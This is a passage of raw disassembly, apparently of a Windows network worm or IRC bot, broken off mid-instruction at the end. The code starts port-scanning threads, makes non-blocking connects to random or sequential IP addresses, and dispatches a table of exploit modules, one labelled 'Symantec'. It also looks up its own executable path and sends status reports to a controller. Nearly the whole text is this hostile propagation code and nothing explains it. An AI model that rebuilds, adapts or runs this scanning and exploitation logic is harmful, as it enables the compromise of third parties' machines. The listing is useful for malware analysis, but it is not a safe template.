--------------------------------------------------------------------------- loc_40B76C: ; CODE XREF: sub_40B6CF+8Aj mov [ebp+var_4], ebx xor eax, eax loc_40B771: ; CODE XREF: sub_40B6CF+9Bj cmp eax, ebx jnz short loc_40B73B loc_40B775: ; CODE XREF: sub_40B6CF+6Aj mov eax, [edi] cmp [eax], bl jnz short loc_40B788 mov eax, [esi] cmp [eax], bl jnz short loc_40B788 mov [ebp+var_4], 1 loc_40B788: ; CODE XREF: sub_40B6CF+AAj ; sub_40B6CF+B0j mov eax, [ebp+var_4] loc_40B78B: ; CODE XREF: sub_40B6CF+50j ; sub_40B6CF+5Dj pop edi pop esi pop ebx leave retn sub_40B6CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B790 proc near ; CODE XREF: sub_401AA1+2AA8p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset dword_434418 push eax xor ebx, ebx call sub_41BEF6 cmp dword_434058, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B802 push esi mov esi, offset dword_434060 loc_40B7C3: ; CODE XREF: sub_40B790+6Fj mov eax, [esi] test eax, eax jbe short loc_40B7F8 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_434404 push eax call sub_41BEF6 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C850 add esp, 1Ch loc_40B7F8: ; CODE XREF: sub_40B790+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B7C3 pop esi loc_40B802: ; CODE XREF: sub_40B790+2Bj push dword_4CE04C call sub_41AF01 push eax push ebx lea eax, [ebp+var_400] push offset dword_4343E0 push eax call sub_41BEF6 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C850 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 lea eax, [ebp+var_200] push eax call sub_415F45 add esp, 38h pop edi pop ebx leave retn sub_40B790 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B85E proc near ; CODE XREF: sub_401AA1+2A92p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4D0E04 mov ecx, dword_4D0E00 push esi push dword_4CE04C lea esi, [ecx+eax] call sub_41AF01 push eax push esi push dword_4D0E04 lea eax, [ebp+var_200] push dword_4D0E00 push offset dword_434458 push eax call sub_41BEF6 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 lea eax, [ebp+var_200] push eax call sub_415F45 add esp, 34h pop esi leave retn sub_40B85E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8C9 proc near ; CODE XREF: sub_401AA1+2A7Cp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CE04C call sub_41AF01 push eax lea eax, [ebp+var_200] push dword_4D1038 push offset dword_4344C0 push eax call sub_41BEF6 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 lea eax, [ebp+var_200] push eax call sub_415F45 add esp, 2Ch leave retn sub_40B8C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B91D proc near ; CODE XREF: sub_401AA1+2A66p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41C190 push edi lea eax, [ebp+var_800] push offset dword_434534 push eax call sub_41BEF6 cmp dword_434058, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B989 push esi mov esi, offset aSymantec ; "Symantec" loc_40B952: ; CODE XREF: sub_40B91D+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_434524 push eax call sub_41BEF6 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C850 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B952 pop esi loc_40B989: ; CODE XREF: sub_40B91D+2Dj push dword_4CE04C call sub_41AF01 push eax lea eax, [ebp+var_1000] push offset dword_434508 push eax call sub_41BEF6 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C850 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 lea eax, [ebp+var_800] push eax call sub_415F45 add esp, 34h pop edi leave retn sub_40B91D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B9E3 proc near ; DATA XREF: sub_401AA1+30AEo var_3F0 = byte ptr -3F0h var_1F0 = dword ptr -1F0h var_1EC = byte ptr -1ECh var_1DC = byte ptr -1DCh var_15C = byte ptr -15Ch var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_134 = byte ptr -134h var_124 = byte ptr -124h var_A4 = byte ptr -0A4h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3F0h mov eax, [ebp+arg_0] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp+var_134] push eax call dword_4CE348 ; inet_addr xor edi, edi mov [ebp+var_8], eax cmp dword_434058, edi mov [ebp+var_4], edi mov [ebp+arg_0], edi jz loc_40BB42 mov esi, offset dword_434058 mov ebx, offset aSym ; "sym" loc_40BA37: ; CODE XREF: sub_40B9E3+159j push [ebp+var_1C] push dword ptr [esi] push [ebp+var_8] call sub_40C1D4 add esp, 0Ch cmp eax, 1 jnz loc_40BB31 push dword ptr [esi] lea eax, [ebp+var_134] push eax lea eax, [ebx+0Ah] push eax lea eax, [ebp+var_3F0] push offset dword_4345C8 push eax call sub_41BEF6 push edi lea eax, [ebp+var_3F0] push [ebp+var_14] push eax lea eax, [ebp+var_124] push eax push [ebp+var_24] call sub_409743 lea eax, [ebp+var_3F0] push eax call sub_415F45 lea eax, [ebp+var_134] push eax lea eax, [ebp+var_1EC] push eax call sub_41BEF6 lea eax, [ebp+var_15C] push ebx push eax call sub_41BEF6 add esp, 3Ch cmp [ebp+var_A4], 0 lea eax, [ebp+var_A4] jnz short loc_40BACC lea eax, [ebp+var_124] loc_40BACC: ; CODE XREF: sub_40B9E3+E1j push eax lea eax, [ebp+var_1DC] push eax call sub_41BEF6 mov eax, [ebp+var_24] pop ecx mov [ebp+var_1F0], eax mov eax, [ebp+var_14] mov [ebp+var_140], eax mov eax, [ebp+var_10] pop ecx mov [ebp+var_13C], eax mov eax, [esi] sub esp, 0BCh mov [ebp+var_150], eax mov eax, [ebp+var_18] push 2Fh mov [ebp+var_14C], eax mov eax, [ebp+arg_0] pop ecx lea esi, [ebp+var_1F0] mov edi, esp mov [ebp+var_148], eax rep movsd call dword ptr [ebx+2Ch] add esp, 0BCh inc [ebp+var_4] xor edi, edi loc_40BB31: ; CODE XREF: sub_40B9E3+67j inc [ebp+arg_0] add ebx, 40h lea esi, [ebx+28h] cmp [esi], edi jnz loc_40BA37 loc_40BB42: ; CODE XREF: sub_40B9E3+44j push [ebp+var_4] lea eax, [ebp+var_134] push eax lea eax, [ebp+var_3F0] push offset dword_434570 push eax call sub_41BEF6 push edi lea eax, [ebp+var_3F0] push [ebp+var_14] push eax lea eax, [ebp+var_124] push eax push [ebp+var_24] call sub_409743 lea eax, [ebp+var_3F0] push eax call sub_415F45 push [ebp+var_18] call sub_40B56A add esp, 2Ch push edi call dword_4280D4 ; ExitThread sub_40B9E3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB95 proc near ; CODE XREF: sub_401AA1+23ABp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B496 test eax, eax pop ecx jle short loc_40BBD1 mov eax, [ebp+arg_C] push dword_4CE448[eax*8] call dword_4CE394 ; inet_ntoa push eax lea eax, [ebp+var_200] push offset dword_434654 push eax call sub_41BEF6 add esp, 0Ch jmp short loc_40BBE4 ; --------------------------------------------------------------------------- loc_40BBD1: ; CODE XREF: sub_40BB95+13j lea eax, [ebp+var_200] push offset dword_434618 push eax call sub_41BEF6 pop ecx pop ecx loc_40BBE4: ; CODE XREF: sub_40BB95+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 lea eax, [ebp+var_200] push eax call sub_415F45 add esp, 18h leave retn sub_40BB95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC0C proc near ; CODE XREF: sub_40C485+4Fp var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40C0EC shl eax, 6 xor ebx, ebx cmp dword_434064[eax], ebx jz loc_40C0EC push 5 call sub_40B496 test eax, eax pop ecx jnz loc_40BE86 mov eax, dword_42A964 push edi mov esi, offset dword_4D0504 push 104h push esi push ebx mov dword_4D0714, eax mov dword_4D0710, ebx call dword_428078 ; GetModuleFileNameA mov edi, offset byte_42AA54 push 103h push edi push offset dword_4D0608 call sub_41BC60 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4D0500, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4D0798, eax jnz short loc_40BCBC lea eax, [ebp+arg_10] push eax push offset dword_4D0718 call sub_41BC60 mov dword_4D079C, 1 jmp short loc_40BCD3 ; --------------------------------------------------------------------------- loc_40BCBC: ; CODE XREF: sub_40BC0C+94j lea eax, [ebp+arg_90] push eax push offset dword_4D0718 call sub_41BC60 mov dword_4D079C, ebx loc_40BCD3: ; CODE XREF: sub_40BC0C+AEj add esp, 0Ch lea eax, [ebp+var_204] push esi push dword_4D0714 push offset dword_434898 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B254 add esp, 1Ch mov dword_4D070C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4D0500 push offset sub_412407 push ebx push ebx call dword_428084 ; CreateThread mov ecx, dword_4D070C imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz loc_40BDD7 call dword_428094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset dword_434840 push eax call sub_41BEF6 add esp, 0Ch loc_40BD51: ; CODE XREF: sub_40BC0C+1D3j lea eax, [ebp+var_204] push eax call sub_415F45 mov eax, dword_4CE048 mov esi, offset dword_4D07AC mov [esp+210h+var_210], 104h push esi push ebx mov dword_4D09BC, eax mov dword_4D09B8, ebx call dword_428078 ; GetModuleFileNameA push 103h push edi push offset dword_4D08B0 call sub_41BC60 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4D07A8, eax mov eax, [ebp+arg_138] pop edi mov dword_4D0A40, eax push 7Fh jnz short loc_40BDE4 lea eax, [ebp+arg_10] push eax push offset dword_4D09C0 call sub_41BC60 mov dword_4D0A44, 1 jmp short loc_40BDFB ; --------------------------------------------------------------------------- loc_40BDCF: ; CODE XREF: sub_40BC0C+1D1j push 32h call dword_428080 ; Sleep loc_40BDD7: ; CODE XREF: sub_40BC0C+124j cmp dword_4D07A0, ebx jz short loc_40BDCF jmp loc_40BD51 ; --------------------------------------------------------------------------- loc_40BDE4: ; CODE XREF: sub_40BC0C+1A7j lea eax, [ebp+arg_90] push eax push offset dword_4D09C0 call sub_41BC60 mov dword_4D0A44, ebx loc_40BDFB: ; CODE XREF: sub_40BC0C+1C1j add esp, 0Ch lea eax, [ebp+var_204] push esi push dword_4D09BC push offset dword_4347E8 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B254 add esp, 1Ch mov dword_4D09B4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4D07A8 push offset sub_40F6A7 push ebx push ebx call dword_428084 ; CreateThread mov ecx, dword_4D09B4 imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz loc_40BEFF call dword_428094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset dword_434790 push eax call sub_41BEF6 add esp, 0Ch loc_40BE79: ; CODE XREF: sub_40BC0C+2FBj lea eax, [ebp+var_204] push eax call sub_415F45 pop ecx loc_40BE86: ; CODE XREF: sub_40BC0C+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43406C[ecx], ebx jz loc_40BFB3 push 7 call sub_40B496 test eax, eax pop ecx jnz loc_40BFAD mov eax, dword_4D1034 cmp [ebp+arg_90], bl mov dword_4D046C, eax mov eax, [ebp+arg_110] mov dword_4D0460, eax mov eax, [ebp+arg_138] mov dword_4D0468, ebx mov dword_4D04F0, eax push 7Fh jnz short loc_40BF0C lea eax, [ebp+arg_10] push eax push offset dword_4D0470 call sub_41BC60 mov dword_4D04F4, 1 jmp short loc_40BF23 ; --------------------------------------------------------------------------- loc_40BEF7: ; CODE XREF: sub_40BC0C+2F9j push 32h call dword_428080 ; Sleep loc_40BEFF: ; CODE XREF: sub_40BC0C+24Cj cmp dword_4D0A48, ebx jz short loc_40BEF7 jmp loc_40BE79 ; --------------------------------------------------------------------------- loc_40BF0C: ; CODE XREF: sub_40BC0C+2CFj lea eax, [ebp+arg_90] push eax push offset dword_4D0470 call sub_41BC60 mov dword_4D04F4, ebx loc_40BF23: ; CODE XREF: sub_40BC0C+2E9j add esp, 0Ch lea eax, [ebp+var_204] push dword_4D046C push offset unk_434760 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B254 add esp, 18h mov dword_4D0464, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4D0460 push offset sub_40F405 push ebx push ebx call dword_428084 ; CreateThread mov ecx, dword_4D0464 imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz loc_40C0A5 call dword_428094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_434728 push eax call sub_41BEF6 add esp, 0Ch loc_40BFA0: ; CODE XREF: sub_40BC0C+4A1j lea eax, [ebp+var_204] push eax call sub_415F45 pop ecx loc_40BFAD: ; CODE XREF: sub_40BC0C+29Bj mov eax, [ebp+arg_130] loc_40BFB3: ; CODE XREF: sub_40BC0C+28Bj shl eax, 6 cmp dword_434068[eax], ebx jz loc_40C0EC push 3 call sub_40B496 test eax, eax pop ecx jnz loc_40C0EC mov esi, offset dword_4D0CDC push 104h push esi push ebx call dword_428078 ; GetModuleFileNameA push 5Ch push esi call sub_41C4B0 pop ecx cmp eax, ebx pop ecx jz short loc_40BFF4 mov [eax], bl loc_40BFF4: ; CODE XREF: sub_40BC0C+3E4j mov eax, dword_42A968 mov dword_4D0DF4, ebx mov dword_4D0DE0, eax lea eax, [ebp+arg_10] push eax push offset dword_4D0A54 call sub_41BEF6 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4D0A50, eax mov ecx, [ebp+arg_138] push esi push dword_4D0DE0 mov dword_4D0DEC, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4D0DF0, ecx call sub_40A8D5 pop ecx push eax lea eax, [ebp+var_204] push offset unk_4346D8 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B254 add esp, 20h mov dword_4D0DE8, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4D0A50 push offset sub_40FDBE push ebx push ebx call dword_428084 ; CreateThread mov ecx, dword_4D0DE8 imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jz short loc_40C0C4 jmp short loc_40C0BA ; --------------------------------------------------------------------------- loc_40C09D: ; CODE XREF: sub_40BC0C+49Fj push 32h call dword_428080 ; Sleep loc_40C0A5: ; CODE XREF: sub_40BC0C+373j cmp dword_4D04F8, ebx jz short loc_40C09D jmp loc_40BFA0 ; --------------------------------------------------------------------------- loc_40C0B2: ; CODE XREF: sub_40BC0C+4B4j push 32h call dword_428080 ; Sleep loc_40C0BA: ; CODE XREF: sub_40BC0C+48Fj cmp dword_4D0DFC, ebx jz short loc_40C0B2 jmp short loc_40C0DF ; --------------------------------------------------------------------------- loc_40C0C4: ; CODE XREF: sub_40BC0C+48Dj call dword_428094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_434690 push eax call sub_41BEF6 add esp, 0Ch loc_40C0DF: ; CODE XREF: sub_40BC0C+4B6j lea eax, [ebp+var_204] push eax call sub_415F45 pop ecx loc_40C0EC: ; CODE XREF: sub_40BC0C+14j ; sub_40BC0C+25j ... pop esi pop ebx leave retn sub_40BC0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C0F0 proc near ; CODE XREF: sub_40C271:loc_40C2D3p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CE448h[eax*8] lea eax, [ebp+arg_0] push esi push eax call near ptr sub_41C9B0 add esp, 0Ch push [ebp+arg_0] call dword_4CE230 ; ntohl inc eax push eax mov [ebp+arg_0], eax call dword_4CE304 ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call near ptr sub_41C9B0 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40C0F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C138 proc near ; CODE XREF: sub_40C271+5Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41B650 cmp eax, 0Fh pop ecx jbe short loc_40C160 xor eax, eax jmp short loc_40C1D1 ; --------------------------------------------------------------------------- loc_40C160: ; CODE XREF: sub_40C138+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41C973 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C18D call sub_41BF52 mov [ebp+var_C], eax loc_40C18D: ; CODE XREF: sub_40C138+4Bj cmp [ebp+var_8], esi jnz short loc_40C19A call sub_41BF52 mov [ebp+var_8], eax loc_40C19A: ; CODE XREF: sub_40C138+58j cmp [ebp+var_4], esi jnz short loc_40C1A7 call sub_41BF52 mov [ebp+var_4], eax loc_40C1A7: ; CODE XREF: sub_40C138+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C1B3 call sub_41BF52 loc_40C1B3: ; CODE XREF: sub_40C138+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CE448[ecx*8], eax loc_40C1D1: ; CODE XREF: sub_40C138+26j pop esi leave retn sub_40C138 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C1D4 proc near ; CODE XREF: sub_40B9E3+5Cp ; sub_40C271+A9p ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi xor edi, edi xor ebx, ebx inc edi push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CE388 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C1FD xor eax, eax jmp short loc_40C26C ; --------------------------------------------------------------------------- loc_40C1FD: ; CODE XREF: sub_40C1D4+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CE308 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CE3A4 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CE2B0 ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CE2F0 ; select push esi mov edi, eax call dword_4CE3A0 ; closesocket xor eax, eax cmp edi, ebx setnle al loc_40C26C: ; CODE XREF: sub_40C1D4+27j pop edi pop esi pop ebx leave retn sub_40C1D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C271 proc near ; DATA XREF: sub_40C485+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call dword_4280B0 ; GetTickCount push eax call sub_41BF48 mov ebx, esi pop ecx imul ebx, 234h jmp loc_40C462 ; --------------------------------------------------------------------------- loc_40C2BD: ; CODE XREF: sub_40C271+1FFj cmp [ebp+var_10], 0 push eax jz short loc_40C2D3 lea eax, [ebp+var_150] push eax call sub_40C138 pop ecx jmp short loc_40C2D8 ; --------------------------------------------------------------------------- loc_40C2D3: ; CODE XREF: sub_40C271+51j call sub_40C0F0 loc_40C2D8: ; CODE XREF: sub_40C271+60j pop ecx mov edi, eax push [ebp+arg_0] push dword_44124C[ebx] push [ebp+var_3C] push edi call dword_4CE394 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset dword_434940 push eax call sub_41BEF6 lea eax, [ebp+var_28C] push eax lea eax, dword_441048[ebx] push eax call sub_41BEF6 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C1D4 add esp, 2Ch cmp eax, 1 jnz loc_40C457 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C3AC push offset dword_4D0448 call dword_4280DC ; RtlEnterCriticalSection push [ebp+var_3C] push edi call dword_4CE394 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset dword_4348F8 push eax call sub_41BEF6 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C38E cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C382 lea eax, [ebp+var_140] loc_40C382: ; CODE XREF: sub_40C271+109j push eax push [ebp+var_40] call sub_409743 add esp, 14h loc_40C38E: ; CODE XREF: sub_40C271+EEj lea eax, [ebp+var_28C] push eax call sub_415F45 mov [esp+2A8h+var_2A8], offset dword_4D0448 call dword_4280D8 ; RtlLeaveCriticalSection jmp loc_40C457 ; --------------------------------------------------------------------------- loc_40C3AC: ; CODE XREF: sub_40C271+BEj push edi call dword_4CE394 ; inet_ntoa push eax lea eax, [ebp+var_208] push eax call sub_41BEF6 mov eax, [ebp+var_20] shl eax, 6 add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41BEF6 add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_40C3F0 lea eax, [ebp+var_140] loc_40C3F0: ; CODE XREF: sub_40C271+177j push eax lea eax, [ebp+var_1F8] push eax call sub_41BEF6 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_43405C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C457: ; CODE XREF: sub_40C271+B4j ; sub_40C271+136j push 7D0h call dword_428080 ; Sleep loc_40C462: ; CODE XREF: sub_40C271+47j mov eax, dword_44124C[ebx] cmp dword_4CE44C[eax*8], 0 jnz loc_40C2BD push esi call sub_40B56A pop ecx push 0 call dword_4280D4 ; ExitThread sub_40C271 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C485 proc near ; DATA XREF: sub_401AA1+1EE0o ; sub_401AA1+5B56o var_20C = dword ptr -20Ch var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_14C] inc ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CE348 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CE448[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BC0C push 0Bh call sub_40B496 add esp, 150h cmp eax, ebx jnz short loc_40C553 mov esi, offset dword_4D0448 push esi call dword_4280E4 ; RtlDeleteCriticalSection push 80000400h push esi call dword_4280E0 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_40C553 lea eax, [ebp+var_1CC] push offset dword_434AD0 push eax call sub_41BEF6 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C53D push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409743 add esp, 14h loc_40C53D: ; CODE XREF: sub_40C485+99j lea eax, [ebp+var_1CC] push eax call sub_415F45 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C553: ; CODE XREF: sub_40C485+63j ; sub_40C485+7Fj mov eax, [ebp+var_2C] mov esi, dword_428080 mov edi, ebx mov dword_4CE44C[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C615 loc_40C571: ; CODE XREF: sub_40C485+18Aj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset dword_434A70 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B254 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_44124C[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C271 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_40C62C call dword_428094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_1CC] push offset dword_434A10 push eax call sub_41BEF6 lea eax, [ebp+var_1CC] push eax call sub_415F45 add esp, 10h loc_40C607: ; CODE XREF: sub_40C485+1ACj push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_40C571 loc_40C615: ; CODE XREF: sub_40C485+E6j cmp [ebp+var_30], ebx jz short loc_40C63A mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep jmp short loc_40C647 ; --------------------------------------------------------------------------- loc_40C628: ; CODE XREF: sub_40C485+1AAj push 1Eh call esi ; Sleep loc_40C62C: ; CODE XREF: sub_40C485+159j cmp [ebp+var_4], ebx jz short loc_40C628 jmp short loc_40C607 ; --------------------------------------------------------------------------- loc_40C633: ; CODE XREF: sub_40C485+1C0j push 7D0h call esi ; Sleep loc_40C63A: ; CODE XREF: sub_40C485+193j mov eax, [ebp+var_2C] cmp 